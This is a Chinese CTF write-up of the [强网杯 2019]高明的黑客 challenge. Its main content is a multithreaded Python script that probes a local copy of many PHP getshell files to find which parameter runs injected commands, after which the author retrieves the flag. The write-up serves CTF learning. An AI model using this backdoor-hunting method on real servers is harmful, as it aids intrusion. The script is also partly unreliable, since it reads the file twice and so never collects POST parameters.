其他分享
首页 > 其他分享> > [强网杯 2019]高明的黑客 1

[强网杯 2019]高明的黑客 1

作者:互联网

1.发现

1.1根据提示下载网站文件,发现为很多PHP文件。

 

 

 

 2.1打开其中一个进行代码审计。

认真看这些文件都是 getshell 文件。能把传入的变量执行系统命令。

不过不可能都是有用的,随便打开几个会发现,传入的变量都变为空了,所以基本上无效。

 

 2.2编写 python 脚本寻找有用的 getshell 文件。

基本思想,将文件都执行一遍,所以需要 web 环境。

可以用 phpstudy 搭建 web 环境,将这些文件放在 www 根目录一个文件夹,遍历访问。

所以脚本需要遍历这些php文件,然后判断所有的参数是否可以执行。

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/src"                   #自己替换为文件所在目录
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file                      #自己替换为本地url
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

2.3☆下高版本PHP study下跑一下脚本 

2.3查询根目录下文件,查找flag。

 3.借鉴

buuctf—web—高明的黑客 (bbsmax.com)

(36条消息) BUUCTF__[强网杯 2019]高明的黑客_题解_风过江南乱的博客-CSDN博客

4. 知识点

python脚本的编写

 

标签:文件,req,content,强网杯,flag,黑客,2019,xxxxxx,time
来源: https://www.cnblogs.com/WHOAMI-xiaoyu/p/15495492.html